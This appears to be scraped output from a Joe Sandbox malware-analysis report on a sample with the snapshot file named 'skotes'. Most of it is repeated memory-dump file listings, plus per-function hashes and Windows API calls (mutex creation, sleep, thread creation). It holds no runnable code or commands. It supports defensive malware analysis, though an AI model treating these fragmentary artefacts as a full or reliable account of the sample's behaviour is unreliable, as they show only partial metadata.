Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 146bd518aba4a0993e8b888971e32327e190fb90e0d7d031e5cad0af55aaf2fb
Instruction ID: eaa39891eef4cfce78fbc01a41d26692e1fedd3607cd050dc572966146909e8a
Opcode Fuzzy Hash: 146bd518aba4a0993e8b888971e32327e190fb90e0d7d031e5cad0af55aaf2fb
Instruction Fuzzy Hash: 0F310731600100EBEB18EB78DC89BAEB772EFC6314F248319E014972D1DB7DA981C752

Function 007AA7B7 Relevance: 4.6, APIs: 3, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 007AA7BA
Sleep.KERNEL32(00000064,?), ref: 007AA963
CreateMutexA.KERNEL32(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: ac07d58f18861008e693e6d74bb6407e90bfedf3f35d4330beac6671d178db0a
Instruction ID: 24ac62e0a933d601386c9d41613be5d784b5fa501471590731ad0f84598d35a5
Opcode Fuzzy Hash: ac07d58f18861008e693e6d74bb6407e90bfedf3f35d4330beac6671d178db0a
Instruction Fuzzy Hash: CA310531B00104EFEB19AB68DD89BADB772AFC6314F248319E014972D5EB3DAD81C752

Function 007D6E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de236a0041aa0f7f02c8192f96270a335e100e76475754c4bda33828ad84ad75
Instruction ID: 420e8f94f4144fc5ad18a257422ab8af68ca61d5f01eaf8b38ed98f28285a2b4
Opcode Fuzzy Hash: de236a0041aa0f7f02c8192f96270a335e100e76475754c4bda33828ad84ad75
Instruction Fuzzy Hash: DE21F872905108BBEB116B68EC46FAF3779EF41378F100352F9646B3C1EB789E0586A1

Function 007AA960 Relevance: 3.0, APIs: 2, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 007AA963
CreateMutexA.KERNEL32(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 49eb6209e2bc3328828c472609b8edab9e065d12cfbdae10574e92eba1a0c5db
Instruction ID: fe5c1fa063661d923687afcf27110ffcfb772c929b5fd3f4d4934aaf2cc38615
Opcode Fuzzy Hash: 49eb6209e2bc3328828c472609b8edab9e065d12cfbdae10574e92eba1a0c5db
Instruction Fuzzy Hash: DBE08621399200EAFE5033A9AC45B2E7199ABDA706F211516E60CC60D0CF78B986C263

Function 007B6D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 007B6D11
Sleep.KERNEL32(00007530), ref: 007B6D25

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
